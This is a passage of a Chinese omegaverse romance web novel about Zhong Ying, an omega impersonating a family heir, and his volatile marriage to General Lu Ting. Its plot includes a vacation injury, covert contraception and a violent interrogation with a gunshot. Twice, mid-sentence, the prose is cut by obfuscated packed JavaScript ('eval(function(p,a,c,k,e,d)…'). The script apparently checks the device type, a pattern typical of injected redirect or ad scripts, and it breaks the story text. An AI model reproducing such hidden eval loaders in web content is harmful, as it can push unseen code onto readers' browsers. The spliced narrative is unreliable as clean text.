钟映一遍遍地说着“谢谢”,感激之情溢于言表,却又沉重得无以复加。 不久后,钟励仪开始频繁地给钟映打电话。她语气急切,带着不满:“我想见将军,你帮我安排一下。” 钟映疲惫地回答:“他不喜欢你。父亲应该已经跟你说明白了。” 钟励仪似乎极为不甘:“怎么会?我们那天明明聊得很开心!是不是你在将军面前说了我什么坏话?” “要不是当初我年纪太小,哪里轮得到你嫁给将军!你这个……冒牌货!” 钟映的脸色瞬间变得惨白如纸,声音都绷紧了:“谁告诉你的?!” 钟励仪在那头沉默着,没有回答。 钟映深吸一口气,语气前所未有的严厉:“我告诉你,这件事如果被路霆知道,不止是我,整个钟家都别想讨到半点好处!你如果不想被牵连,甚至被告上军事法庭,就把这件事给我烂在肚子里!一个字都不准再提!” 电话那端沉默了许久,最终传来钟励仪带着哭腔和不甘的声音:“我……我是无意间偷听到的……我是真的喜欢将军……哥哥,他又不喜欢你,你就不能……成全我们吗?” 钟映闭上眼,声音里带着一丝恐惧的颤抖:“他不喜欢我怎么成全,他如果知道了真相……会杀了我的。” 他不再理会那边的哭求,猛地挂断了电话。握着手机的手指还在微微发抖,写满了惊慌与后怕。 寄玉断断续续咳了半个月,身体肉眼可见地虚弱下去,如今又只能依靠每日输注营养液来维持生命。 路羿当初的判断没有错,器官的持续衰竭让她根本没有足够的能量支撑起基本的身体机能,因此一天中的大部分时间,她都陷在昏沉的睡眠里。 周末恰逢寄玉的生日。钟映向路羿提出,想带妹妹出去透透气,看看外面。 路羿迟疑了片刻,最终还是点头同意了。 他们去不了太远的地方,也不能去人群密集处。 寄玉坐在轮椅上,被裹得严严实实。 路羿开车带他们去了一个安静的郊野公园,提前在一处树荫下搭好了帐篷。 钟映自己动手做了一个小小的、不算太精致的生日蛋糕。 帐篷里,钟映小心翼翼地点燃蜡烛,柔声说:“我们寄玉今天十五岁啦,来,许个愿望吧。” 路羿和桑姨在一旁轻轻鼓掌,唱着音调不算太准却充满暖意的生日快乐歌。 寄玉戴着毛线帽,苍白的脸上努力绽开一个笑容,双手有些笨拙地合拢在一起。 钟映俯下身,和她一起吹灭了那簇微弱的火苗。 钟映拿起勺子,舀了一点点蛋糕胚,小心地喂到她嘴边:“这是哥哥自己做的,尝尝。等你好了,哥哥天天做给你吃,好不好?” 寄玉笑着点点头。 钟映立刻又摇摇头,自己否定了:“不行不行,也不能天天吃,会腻的。” 路羿和桑姨在一旁收拾着东西。 钟映低头,仔细地给寄玉调整口罩的带子。就在这时,寄玉忽然伸出瘦弱的手指,轻轻勾住了他的一根手指。 她的声音极其微弱,气息如同游丝:“庭玉哥哥……你也生日快乐。” 他们没有自己的生日,于是很早之前就把生日约定在一天过。 钟映猛地偏过头,用力地眨了眨眼睛,试图逼回那股汹涌而上的酸涩,但泪水还是不受控制地漫了上来。他的声音听起来有些别扭,带着浓重的鼻音:“……谢谢你,妹妹。” 另一边,路霆自钟浦涛的生日宴后,回家的频率莫名高了许多。 每次回来,脸色也总是不太好,会沉着脸盘问钟映白天去了哪里。 路霆问钟映,为什么一定要这么护着钟家。 钟映说出最简单的真理:“因为我姓钟啊。” 这个姓氏是他无法挣脱的原罪和枷锁。 路霆对他的回答显然极不满意,或者说,他想要的并非这个答案:“钟家比我还重要?” 钟映抬起眼,看向路霆,那双总是盛着温顺或歉意的眼睛里,此刻却像蒙上了一层薄薄的雾,让人看不真切。 他没有回答。 只是彻底不想再说话了。 今天路霆回来又问他去了哪里? 钟映不由得警惕起来,含糊地说是去上路母给他报的“好太太培训班”。 其实那个班,他早已很久没去过了。 路霆以前从不过问这些琐事,此刻语气带着明显的不悦:“你上的那个好太太培训班,教的就是让老公饿肚子?” 钟映愣了一下:“你……没吃晚餐吗?” 难怪他一进门,就看见路霆一言不发地坐在沙发上,摆着一副深沉而不爽的姿势。 原来是在等投喂。 钟映沉默地系上围裙,转身走向厨房,声音低低的:“……我去给你做点吃的。” 路霆坐在餐桌前,目光扫过门口放着的纸袋,用筷子指了指:“你不是说之前的营养品吃完了吗?那是给你的。” 钟映走过去,拿起那个眼熟的包装盒,指尖触及药盒边缘。他背对着路霆,声音听不出什么情绪:“谢谢。你怎么知道我吃完了?是……你亲自去拿的吗?” 那药,的确是他亲自去拿的。 “不是。刑秘书顺路送来的。” 钟映自从无意间发现这所谓的“营养品”实则是避孕药后,就再也没碰过。 最根本、最有效的避孕方式,莫过于路霆不再碰他。 只是可惜他是路霆标记的Omega。 他将药盒轻轻放在一旁的柜子上,嘴唇动了动,想开口问点什么,最终却还是咽了回去。 他发现自己早已失去了任何质问的立场和底气。 钟映换了个话题:“你别再跟妈赌气了。她私下向我打听过你好几次,最惦记的就是你。她本来血压就有点高,总是担心你……” 路霆抬起头,目光落在他脸上,隔了好一会儿,才没什么表情地开口:“我下周开始休假。妈已经定好了度假的酒店,让我陪你过生日。” 钟映下意识拒绝:“……不用这么麻烦。” 路霆皱了下眉,语气硬邦邦的,带着点不易察觉的别扭:“又不是我愿意的。你自己去跟妈说。” 钟映看着他这副样子说:“……好吧。” 路霆下一个问题问得有些突兀:“你还想要小孩吗?” 钟映几乎是下意识地摇了摇头。 路霆看着他,仿佛在说一件他们达成共识的事实:“我们本来就不适合要孩子。” 钟映没有说话。 他要不要,是他自己的事。可路霆就这样轻而易举地、理所当然地替他做了决定,甚至从未问过他的意愿,实在是一件……很可恶自私的事。 算了。 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路羿耸耸肩,语气轻松:“大伯母说这边景色最近特别好,我刚好休年假,就过来了。正好跟你们做个伴。” 路霆毫不客气:“……不需要。” 钟映还想打个圆场,下一秒就被路霆攥住手腕,不由分说地拖着往酒店里走。 电梯里,路霆的声音冷飕飕地砸下来:“你现在跟他很熟?” 钟映被问得一愣:“……还行吧。他不是你弟弟吗?” 路霆没说话。 房间比想象中更大,阳台推出去就是一片广阔的绿坪,空气清新怡人。 钟映默默地将衣服拿出来整理挂好。 晚上洗漱后,看着房间里唯一的一张大床,钟映凭着对路霆的了解,如果他先睡上去,路霆为了保持距离,大概率会选择去睡沙发。 于是他心安理得地占据了床的一侧。 谁知他刚酝酿出一点睡意,身侧的床垫就猛地一沉。钟映惊得弹坐起来,看着不知何时躺到另一边、正抱着手臂盯着他的路霆。 这跟想好的剧本不一样。 难道现在该自己去睡沙发? 钟映揉了揉眼睛,刚要认命地下床,路霆却突然叫住他。 Alpha的表情看起来像是酝酿了很久:“你之前说……你有过很多男朋友。你们……上过床吗?” 钟映彻底愣住,仔细打量着路霆的脸色。对方的表情没有多夸张,可那双眼睛里分明写着“你要是敢说是,我就掐死你”的凶狠,显得极其割裂。 “……没、没有。”钟映下意识地回答。 路霆像是松了口气,点点头,语气莫名轻快了点:“我就说嘛……” 他下意识地伸出手,似乎想碰碰钟映的脸颊,却被钟映微微侧头避开了。 那只手僵在半空。路霆的脸色瞬间垮了下来,猛地转过身背对着他躺下,硬邦邦地甩出两个字:“睡觉。” 钟映看了看舒适的床,又看了看狭窄的沙发,最终还是选择蜷缩在床的另一角睡下。 第二天醒来时,他却发现自己不知何时被揽在了路霆的臂弯里。他刚一动,路霆另一只手就直接环住他的腰,将他更紧地往怀里带了带。 钟映:“…………” 度假山庄有特色的蔬果采摘和垂钓项目。 路羿昨天已经约了钟映一起去采草莓,路霆嫌幼稚没应声。 钟映正在刷牙,手指无意间碰到颈侧今早莫名被路霆舔咬过的地方,疼得他倒吸一口凉气。 这时门铃响了,他以为是路羿,打开门却看见容嘉站在外面,笑着对他招手。 钟映心想,追得也太紧了。 路霆看着钟映的眼神:“我没……” 钟映打断他:“正好,你们一起玩吧。” 钟映和路羿在草莓棚里时,路羿看着他,犹豫着问:“大嫂,你真的……不介意我哥跟别人……” 钟映对他笑了笑:“我就算介意,又能怎么样呢?什么都不能改变,说不定你很快就要改口叫另外一个人叫嫂子了。” 路羿:“我哥应该不会……” 路羿想说什么,看着钟映的表情又闭上了嘴。 他曾经在心里为路霆找过无数个借口,多到已经麻木。 晚饭时,他们找了当地一家很有名的餐馆。 刚落座,就听见容嘉的声音。 路霆自然地坐在了钟映身边。 “嫂子,我跟路哥今天也去摘草莓了,怎么没碰到你们?”容嘉笑着问。 钟映实在不想搭理他,明明空位那么多,非要跟他们挤:“我们回来得比较早……” 路羿拿着菜单问钟映想吃什么,钟映说随便他选。突然,他放在桌下的手被路霆重重握住,路霆沉着脸,一言不发,力道大得惊人。 钟映挣不开,只好无奈地报出了几道路霆爱吃的菜。 路霆愣了一下,脸上的阴沉瞬间消散不少,这才松开了手。 钟映揉着发红的手腕,心想这人到底什么毛病,想吃为什么不自己说? 自己简直生来就是给他做劳工的命。 等菜的间隙,路羿兴致勃勃地跟钟映商量明天去钓鱼的计划,钟映点头应着。突然,路霆又在桌下默不作声地用脚踢了踢他。 钟映无语。 反正就是不让他跟别人说话是吧。 另一边,容嘉也在不停地跟路霆说着什么。菜上来后,钟映和路羿埋头吃饭,耳边尽是容嘉那一声声黏糊的“路哥长、路哥短”。 吃完后,路羿起身要去结账,容嘉抢着说让他来,路霆却突然开口:“不用了。让你们嫂子去结。” 他还特意强调了一句:“用我给你的那张卡。” 钟映抿了抿唇,只好起身去结账。他心里嘀咕,路霆是不是有什么大病,这种农家乐风格的店怎么可能会支持刷卡。 前台排队耽误了一点时间。 等他结完账回来,却看见几个身材高大的Alpha醉醺醺地围住了路霆他们那一桌,嘴里说着极其难听的话。 听动静,似乎是这几人喝多了调戏一个Omega,被路霆他们出面阻止,因而发生了冲突。 钟映立刻拿出手机准备报警,同时麻烦旁边一位看起来靠谱的客人帮忙作证。 就在他拨号的时候,那边突然动起手来,只见路霆利落地将一个Alpha过肩摔砸出去,然而,他身后另一个醉汉抄起一个空酒瓶,面目狰狞地朝着路霆的后脑狠狠砸去。 钟映瞳孔骤缩,想都没想就冲了过去,猛地推开路霆,那酒瓶却砸在了他胳膊上。 “砰”的一声脆响,酒瓶炸裂开来。 钻心的剧痛瞬间席卷而来,他能清晰地感觉到玻璃碎片扎进皮肉里的刺痛感。 紧接着,一股巨大的力道猛地将他推搡开,钟映后脑重重磕在什么坚硬的东西上,眼前一黑,瞬间失去了意识。 12. 希望一切真能如你所料 眼看着钟映倒下去,路羿下意识就要冲上前,却被路霆猛地一把推开。 路霆单膝跪地,小心翼翼地将失去意识的人搂进怀里,颤抖的手托住他的后脑,却瞬间摸到一片温热黏腻的触感,摊开掌心,刺目的血红让他心脏几乎骤停。 “钟映……钟映!”他的声音嘶哑得变了调,朝着周围失控地低吼,“快叫救护车!快!” 路霆低下头,脸颊紧贴着钟映冰凉的额角,语无伦次地喃喃,像是命令又像是哀求:“你千万别有事……否则我让这些人……一个都别想好过……” “你冲过来干什么……谁让你冲过来的……” 闹事的那群人很快被赶来的警察制伏拷走。 钟映被紧急抬上救护车,路霆一步不离地跟着。 容嘉看着始终守在一旁、面色沉凝的路羿,语气听不出情绪:“你怎么不跟着一起去医院?” 路羿抬眸冷冷地扫了他一眼,没有回答。 容嘉却像是看穿了他的心思,唇角勾起一抹似有若无的弧度:“那个画面,看着心里很不好受吧?” 路羿猛地站起身,居高临下地看着容嘉:“我不是我哥,不会念及什么多年情谊对你手下留情。” “离我嫂子远一点。就算我哥以后真的跟我嫂子分开了,也绝不会跟你有什么结果。” “别再做这种白日梦了。” 说完,他不再看容嘉瞬间变得难看的脸色,转身大步离开。 钟映醒来时,只觉得脑袋里像是灌了铅,又沉又晕,一阵阵钝痛不断袭来。 他下意识想用手臂支撑自己坐起来,却猛地倒吸一口冷气,右手臂被厚厚的纱布缠绕着,稍微一动便是钻心的剧痛。 忽然,一只温热的手稳稳扶住他的肩膀。 路霆坐在床边,面色是罕见的凝重,声音也压得极低:“感觉怎么样?” 钟映费力地吐出两个字:“头晕……” 路霆的眉头锁得更紧:“医生说你有点轻微脑震荡。手……” “骨折了。先清创,再打的石膏。一时半会儿肯定好不了。” 那个Alpha当时下了死手,医生说即便恢复,也可能留下后遗症,很难完全恢复到从前那般灵活。 路霆还记得自己追问医生:“这对以后生活影响大吗?” 医生斟酌着回答:“这不好说。简单日常生活肯定没问题。他是做什么工作的?” 当路霆说出“他喜欢做蛋糕”时,医生沉默了一下,才委婉道:“那以后……估计是不太能使大力气了。” 看着钟映苍白虚弱的样子,路霆心头那股后怕和无名火又窜了起来,语气不由得变得又冲又硬:“我说你一个Omega,当时冲上来凑什么热闹?是嫌自己命太长吗?我需要你保护吗?” 他的话极不客气。 说完,就见钟映静静地看着他,抿了抿有些干裂的嘴唇,依旧沉默着,那双眼睛里却像是写满了“早知道你不会领情”的疲惫。 路霆被他这眼神看得心头一刺,终究没再说什么。他拿过旁边的水杯,将吸管小心地递到钟映唇边,叹了口气,声音缓和下来:“喝点水吧。” 钟映就着他的手,小口喝了几口水,便又昏睡过去。 病房里重新安静下来。 Alpha独自坐在床边,指尖极轻地拂过钟映额前的碎发,凝视着他安静的睡颜,许久,才用低得几乎听不见的声音喃喃道:“快吓死我了……你知不知道……” 原本只是出来度个假,散散心,结果却惹了一身伤回去。 路母听说消息后,一个电话就打过来,把路霆劈头盖脸骂了一通:“不是,我生你这么一大坨出来,亏你还是个将军,结果你让你媳妇替你受这么重的伤?我当初还不如生个叉烧!叉烧还能就米饭让我一口吃了,你皮糙肉厚的,嚼着都废牙!” 路霆在那头沉默了片刻:“……我已经把那几个人处理干净了。” 路母气不打一处来,命令道:“你把钟映送到我这儿来!我来照顾!” 路霆立刻拒绝:“不用,我会照顾他。” “你得了吧!”路母的声音瞬间拔高,“这些年都是人家孩子在照顾你!我还不知道你?我怕你这么一‘照顾’,我这么好的儿媳妇就真没了!” “我说你到底怎么想的?啊?到现在还铁了心要离婚?” 电话那头是长久的沉默。 “人家孩子为你挡那一下,简直是豁出命去的!你这个没良心的东西!”路母越说越气,“算了算了,反正跟着你也没得过什么好!等你们真离了,我亲自给我儿媳妇找个知冷知热、贴心贴肺的好人家!” “妈!”路霆的声音猛地打断她,带着一丝不易察觉的急切,“你别胡说!我没那么想!” “我会把公务带回家处理……直到他完全康复为止。” “对他好点吧。”电话那端,路母的声音带着难得的认真,“你发现没有,他多久没对你真心笑过了?” 路霆握着手机,猛地一怔。 记忆里几年前的钟映,仿佛永远精力充沛,眼神亮晶晶的,带着点小心翼翼的讨好和藏不住的爱慕,总能找到各种笨拙的理由凑到他身边。 可究竟是从什么时候开始,那双眼睛看向他时,总是欲言又止,盛满了化不开的悲伤和沉默? 路霆烦躁地揉了揉眉心。 他有时候……也并非真想那样对他。 路羿提着吃的来探望钟映。他细心地剥好一根香蕉,递给靠在床头的人:“大嫂,你是没看见,你当时晕过去,我哥那脸色……吓人得很,那几个人完蛋了。” 钟映接过香蕉,声音还有些虚弱:“……我当时没想那么多,脑子一热就……现在想起来确实后怕。” 路羿笑了笑:“人说到底,最下意识的反应,才是最真实的。” 钟映若有所思点点头,刚咬了一小口香蕉,病房门就被推开。 路霆拎着一个保温袋走进来,目光瞬间锁定了钟映手里的香蕉,又冷冷地扫向路羿:“你别给他乱吃什么东西,马上就到饭点了不知道?” 钟映下意识想替路羿解释:“我就吃了两口……” 路霆一个眼神扫过来,他立刻噤了声。 路羿见状,识趣地起身告辞。路霆二话不说,拿走了那半根香蕉,将带来的饭菜一一打开,摆在小桌板上。 钟映右手打着石膏,只能用左手别扭地拿起勺子,刚适应着舀起一点饭,勺子就被路霆伸手夺了过去。 “笨手笨脚的。”Alpha的语气依旧不算好,“张嘴,我喂你。” 钟映愣愣地看着递到唇边的饭,迟疑地没有动。 “怎么了?”路霆皱眉,“想先喝汤?” 钟映说:“其实我左手……也用得挺好的。” 说着,他的左手就悄悄伸向一旁的餐具。 指尖还没碰到,就被一只温热的大手猝不及防地握住。 路霆的声音听起来有些生硬,甚至像是为自己这反常的举动找补:“我答应了妈,会好好照顾你。” 钟映心中顿时了然。 原来是路母为他抱了不平。路霆此刻的耐心,大概只是因为愧疚,因为自己替他挡的那一下,让他暂时心软了。 “其实你真的不用放在心上的。我……我今天感觉已经好多了。” 路霆看着眼前的钟映。他穿着宽松的浅色病号服,黑发柔软地贴在额前,脸色还有些苍白,嘴唇颜色淡淡的,长长的睫毛垂着,在后脑缠绕的白色绷带衬托下,显得格外脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟檀清熟门熟路地自己去倒了杯水,看着钟映用没受伤的左手,握着悦悦的小手,拿点心给她吃,不由得感叹:“路霆还真在家照顾你?看来他这人偶尔还有点良心。” 钟映微微摇头:“他大概是心里过意不去罢了。他这个人……最是要强。几年前在前线,就算受了很重的伤,也从不轻易休息,更不会向任何人示弱。” 孟檀清撇撇嘴,毫不客气地评价:“真不知道你到底喜欢他什么?在我眼里,他就是个傲慢无礼、目中无人的自大狂。” 钟映无法反驳。 他有时也觉得,或许这份执念,最初只是源于当年遇险被路霆救下后产生的吊桥效应,将惊惧依赖错当成了心动。 可喜欢这种事,要是真能条分缕析地说清楚,反而才奇怪。 聊了一会儿,孟檀清压低声音,正色道:“你托我办的那件事,已经开始走程序了。大概再过一段时间,等项目正式启动,就能安排妥当。” 钟映点点头,眼中带着感激:“谢谢。以后如果还有机会,我一定尽力报答你。” 孟檀清摆摆手,让他别见外:“你既然终于下定决心要离开,就务必做得干净利落,别留下任何尾巴。” 她的神色严肃起来:“我看路霆绝不是简单好糊弄的人。你倒不用太担心我,我的生意从来没倚靠过他这条线,他权势再大,一时也动不到我头上。但你一定要想清楚,如果被他抓住,后果……不堪设想。” 钟映点头:“他很早之前就想跟我离婚了。是我一直咬着不肯松手,死死拖着。就是因为这份固执,我们的关系才越来越僵,甚至一度闹到水火不容的地步。” “等到年底,他就会正式宣布我们离婚的消息。他外面有合心意的人,我主动离开路家,他应该……会乐见其成。所以,他大概率不会费心打听我的下落。至于钟家,他们本就理亏,更不会声张。” 孟檀清沉默了片刻,才轻声道:“……希望一切真能如你所料,一切顺利。” 13. 我知道你不想离婚 钟映的伤足足养了一个月,才被允许出门活动。 这期间,路霆甚至直接搬到了钟映的房间。理由是冠冕堂皇的:“你睡觉不老实,总压到伤口。” 钟映小声反驳说自己没有,他睡姿一向很好。 路霆就挑眉,用一种近乎无赖的逻辑堵他:“那你就是故意让伤好得慢,想一直拖着我照顾你?” 为了证明自己睡姿规矩,伤也在认真恢复,钟映只好默许了两人同睡一张床的状况。 “我会快点好起来的。”钟映保证道。 于是,他们迎来了从未有过的、睁眼闭眼都能看到对方的日子。 也是钟映觉得是四年来他们唯一过的平和日子。 路霆会带他出去吃以前从不感兴趣的餐厅,甚至偶尔会系上围裙,在厨房里给他做些简单的饭菜,虽然味道寻常,但因为是路霆做的,再难吃,也得吃。 钟映能感觉到自己右手伤情的严重,因为每次复诊时,路霆盯着检查报告的脸色都算不上好看。 一天清晨,钟映醒来,睁开眼就看见路霆侧躺在他身边,一只手臂小心翼翼地护着他的右臂,眼睛还紧闭着,呼吸平稳。 这幅画面让钟映忽然想起多年前在前线,路霆为了躲他,宁愿整夜睡在条件简陋的休息室。 几年的时光让路霆的轮廓变得更加深刻成熟,他有时候觉得时间过得真快,明明初见的场景还历历在目。 鬼使神差地,钟映缓缓伸出左手,指尖极轻地想要触碰近在咫尺的脸颊。 就在指尖即将触及的刹那,Alpha的眼睛倏地睁开,带着刚醒时的朦胧和一丝沙哑:“你摸我干嘛?” 钟映像是做坏事被逮住,下意识想否认。可路霆却忽然凑近,温热的唇在他下唇上不轻不重地亲了一下,语气带着点笃定的懒洋洋:“我看见了。你就是在摸我。” 钟映下意识地摸了摸自己的下唇,他觉得路霆最近变得很怪,对他好得有些过分。 这种反常一直持续到他偶然听见医生和路霆在走廊尽头的低声交谈。 医生语气凝重:“今天测试了一下,神经反应还是很弱,手指的握力和精细动作……恐怕以后很难恢复到从前了。” 钟映独自坐在走廊,透过巨大的玻璃窗,看着花园里枯黄的树叶在秋风中纷纷扬扬地飘落。 秋天到了。 他忽然明白了,路霆近来所有的好,或许都源于这份愧疚和同情。因为他这只手,可能真的算是废了。 他很想对路霆说,不需要。 不需要因为同情和责任,勉强自己做这些。 可话终究哽在喉咙里,一个字也吐不出来。 路霆请了一位经验丰富的阿姨来照顾他们的日常起居。 等到钟映手臂上的石膏终于拆掉时,时间已经滑入了十月。 他偶尔还是会感到手指使不上力,带着一种陌生的虚软感,但他从未对路霆提起过,只是自己更加拼命地、沉默地做着复健。 也正是在这个时候,寄玉的身体状况再次告急。 钟映这才清醒地认识到,这世上或许真的没有什么奇迹。他常常一个人站在病房外的走廊上,看着里面各种仪器闪烁的灯光,默默地掉眼泪。 路羿有时会看见,从不多问,只是默默地递上一张纸巾。 路霆或许也察觉到了他情绪的低落,某天晚上特意带他去了本市最高的旋转餐厅。 窗外是璀璨夺目的城市夜景,流光溢彩,美得如同幻梦。 钟映望着脚下这片繁华的灯海,心想,如果放在过去,路霆肯这样对他,他大概真的会欣喜若狂,甚至愿意把命都掏给他。 可惜。 他们之间的关系,早已走入了再也无法回头的死胡同。 眼前的温情,是一片虚无的镜花水月。 他捡不起,也要不了。 路霆看着眼前的Omega。 钟映正微微侧着身,指尖无意识地轻贴着冰凉的玻璃窗,定定地望着窗外的夜景。 路霆忽然想起他们结婚那天,钟映也是这副模样,看到什么都觉得新奇,眼睛里闪着光,那时他还觉得对方没什么见识。 路霆走到钟映身后,声音比平时低沉缓和了些:“我上次从钟家回来,跟你说的那些……是气话。” “我知道你不想离婚。我也……觉得我们分开,对钟路两家都没好处。” 钟映看着自己左手和右手上那早已愈合、只留下浅淡痕迹的旧伤,脸色在变幻的光线下显得有些难看。 这段婚姻每一次看似侥幸的“苟延残喘”,哪一次不是他用难以想象的代价硬生生换回来的? 上一次是割的左手,这次是右手。 路霆是不是又觉得这是他刻意而为之。 钟映带着决绝和疲倦:“不用了,路霆。” “我的手……会慢慢恢复的。这次是我自己冲上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟映只觉得一股寒意从脚底瞬间窜遍全身,吓得他猛地将手机扔了出去,仿佛那是什么烫手的烙铁。 就在这时,他的手机率先响了起来,屏幕上跳动着路羿的名字。 钟映颤抖着接起,电话那头立刻传来路羿急促的声音:“你昨晚明明一直在医院!那个人到底是谁?!” 14. 他成了“钟映”,嫁入了路家 路羿在电话那头安抚道:“你别怕,我会帮你跟我哥解释清楚的!你知道他那个脾气,一旦认定……” 钟映猛地闭上眼,打断他,声音里带着哀求:“别!路羿,算我求你……别跟任何人说昨晚见过我,谁都别说。” 信息时代,八卦的传播速度快得惊人。 但路霆毕竟不是能被舆论随意裹挟的人物,没过多久,所有关于那条爆炸性新闻的链接、视频和讨论,就像被一只无形的手瞬间抹去,网络上再也搜不到任何痕迹。 然而,私下的信息轰炸却并未停止。 孟檀清震惊地问他是不是疯了玩这么大,以前那些或熟悉或陌生的人,也纷纷发来讯息,拐弯抹角地试探视频的真假。 唯有路家和路霆本人,对此保持着一种令人窒息的沉默。 钟映头皮一阵发麻,巨大的恐慌攫住了他。他拨通了钟浦涛的电话,却掩不住惊怒:“你不是保证过他在国外永远都不会回来吗?!现在这又是什么意思?!” 电话那端的钟浦涛显然也慌了神,语气支吾:“……我、我也不知道那新闻是谁爆出来的!我最近身体不好,才让他回来帮忙处理点事……是我没看住他……” 过了一会,钟浦涛话语里带着威胁:“不管怎么样,事情发生了,你记住,我们现在是在一条船上,如果路霆发现了你的身份,我们谁都跑不了,只能一起上军事法庭!你不在乎自己,总还得想想你妹妹吧。” 钟映几乎要溢出喉口的,是一丝荒诞而苦涩的无声笑意。 他挂了电话,原本这些日子只想在风暴眼中心求得片刻安宁,静待路霆宣布离婚,为这一切划上句点。 为什么都这么难? 他如同等候最终审判的囚徒,坐在客厅沙发上。 果然,没过多久,门铃就响了。 他深吸一口气,起身开门。 门外站着刑秘书,对方看他的眼神极为复杂,公事公办的语气下藏着一丝难以察觉的叹息:“钟先生,请您随我们走一趟。” 车子并未驶向军部或任何熟悉的场所,最终停在一处偏僻的、看似废弃的二层小楼前。 钟映下车,脚刚沾地,便听见楼内隐约传来一阵痛苦到变形的哀嚎与求饶声,声声刺耳,令人毛骨悚然。 钟映的脚步霎时顿住,一股冰冷的惧意顺着脊椎急速攀升,他几乎想要立刻转身逃离。 他被引着走入一个空旷房间。 最先闯入视线的,是地上一个已被打得不成人形的Alpha,蜷缩在冰冷的水泥地上,浑身血迹斑斑,发出断断续续的微弱呻吟。 “将军,钟先生到了。” 背对众人的路霆闻声转过身。 他甚至还未换下那身笔挺的军装制服,周身裹挟着一股刚从战场浴血而归般的骇人煞气。 路霆面无表情地掐灭指间的烟,朝钟映的方向勾了勾手指,声音冷得淬冰:“过来。” 钟映惊惧地瞥了一眼地上奄奄一息的人,又看向面覆寒霜的路霆,心跳如擂鼓。 他从未见过路霆怒到如此极致的地步。 见他迟疑,路霆的语气骤然加重,带着不容置疑的压迫:“别让我说第二遍!” 钟映只能一步步挪到路霆面前。 刚站定,肩膀便被路霆铁钳般的手狠狠掐住,力道之大让他痛哼出声。 路霆强硬地带着他往前两步,向手下示意。那个被打得面目全非、难以辨认原本面貌的Alpha被人粗暴地架起。 “认识这个人吗?” 钟映肩胛剧痛,吓得噤若寒蝉,更不敢作答。 路霆盯着他苍白的侧脸,继续逼问,每个字都像是从齿缝间碾磨而出:“昨晚……阿姨说你一夜未归,你告诉我,你去哪里了?” 钟映声音支离破碎:“路霆……你、你先冷静一点……” 路霆的目光转过来骤然锐利如刀,死死锁在钟映衣领下方一抹若隐若现的红痕上。他厉声喝道:“都转过去!” 不等钟映反应,路霆已粗暴地撕开他的衣襟。锁骨往下,大片暧昧的红痕刺目地暴露在空气中,一路蔓延。 路霆眼底瞬间爬满血丝,猛地松开手。 钟映脱力地瘫软在地。 “你他//妈还真敢背着我跟人乱搞!”路霆的声音因暴怒而颤抖,“钟映……你他妈可真行!每次……每次在我他妈对你稍微有点期待的时候!你总能精准地给我当头一棒!” “我一天一夜没合眼!开完会连夜赶回来!我前几天甚至跟妈说……说我们以后好好过日子,我们好好过……” 他指着地上那个奄奄一息的Alpha,额角青筋暴起:“我给你台阶下,你就是这么回报我的?!你他//妈到底有多饥渴?我就那么满足不了你吗?!” 钟映被迫抬起头,与路霆通红的眼睛对视。他眼中蓄满了水汽,恐惧显而易见,但声音却带着孤注一掷:“路霆,我们……离婚吧。” 这句话如同火星溅入油库,瞬间引爆了路霆最后的理智:“你就为了这么个东西……要跟我离婚?!” 钟映扯出一个比哭还难看的笑:“这不正是你一直想要的吗?路霆,别告诉我……你突然爱上我,舍不得了。” “好!离!谁不离谁孙子!” 路霆猛地将目光投向那个抖成筛糠的Alpha,唰地拔出腰侧的配枪,直指对方头颅,语气森寒:“等会儿就把这奸夫给我就地埋了!” 那Alpha吓得魂飞魄散,涕泪横流地磕头求饶:“将军饶命!饶命啊!我真的不知道他是您夫人!给我一百个胆子也不敢!而且……而且昨晚是他主动勾引我的……是他先……” 钟映看着路霆越发阴沉骇人的脸色,猛地扑过去,挡在了那个Alpha身前:“路霆!你要杀他,就连我一起杀!但你想好怎么给钟家交代!” 路霆气得浑身发抖,枪口微微震颤:“你以为我不敢动你?!你分明是被他蛊惑了!滚开!” 钟映竟转身,一把抱住那个浑身血污的Alpha,闭上眼,声音决绝而清晰:“我早就不爱你了。你要杀他,我也不想活了,把我们一起杀了好了。” “砰——!” 枪声骤响!子弹擦着钟映的耳畔,深深嵌入他身旁十厘米的地面,溅起零星碎石。 路霆持枪的手缓缓垂下,盯着他的眼神像是在看一个完全陌生的人,一字一顿,齿缝间渗着寒意:“钟映,你真是……好得很。” 说罢,他猛地转身,带着一身未能宣泄的暴怒和失望,大步离开。 钟映失魂落魄地瘫坐在地,仿佛被抽走了所有力气。 那名侥幸捡回一条命的Alpha惊魂未定地看着他,似乎完全没料到,这一夜露水情缘的“将军夫人”,竟会豁出性命来护住自己。 那Alpha瘫在地上,抖得如同风中落叶,颤声问:“夫人……我们、我们该怎么办啊?” 钟映抬手,用指节蹭掉脸颊溅上的灰尘,目光空洞地看着他,声音低哑却清晰:“滚,如果想活命,现在就滚,越远越好。” 那Alpha如蒙大赦,连滚带爬地踉跄逃窜,跑出老远才猛地愣住,他恍惚记起,自己昨晚似乎……并未留下那么明显的痕迹。 而且那位“夫人”刚才的神态语气,冰冷决绝,与昨夜那个主动贴近、眼波流转的人判若两人。 不知在原地僵坐了多久,一件带着体温的外套轻轻披在了钟映肩上。 路羿将他带回了自己的住处,找来干净的衣服让他换上。 钟映沉默地洗完热水澡出来时,路羿递给他一杯温水,欲言又止:“我哥他……怎么说?” “你哥要跟我离婚。” 路羿一时语塞,不知该如何接话。 钟映垂着眼眸,盯着杯中晃动的水面,良久,忽然轻声开口:“我知道你肯定很好奇……那个人是谁?寄玉又是谁?” 他抬起眼,看向路羿:“我告诉了你。请你一定……要保密。” “我不是钟映。也没那么好命,生来就是钟家的少爷。”他的声音很轻,说出的话却像石破天惊,“寄玉是我妹妹,我们都是E区的人。我是……卖身给钟家的人……” 在他还叫庭玉的时候,只是E区无数挣扎求生的孤儿中的一个,在垃圾堆和废墟搭建的破烂窟里长大。 寄玉是他某天在散发着腐臭的垃圾桶边捡到的,那时她大约三岁,瘦得只剩一把骨头,像只随时会断气的小猫。 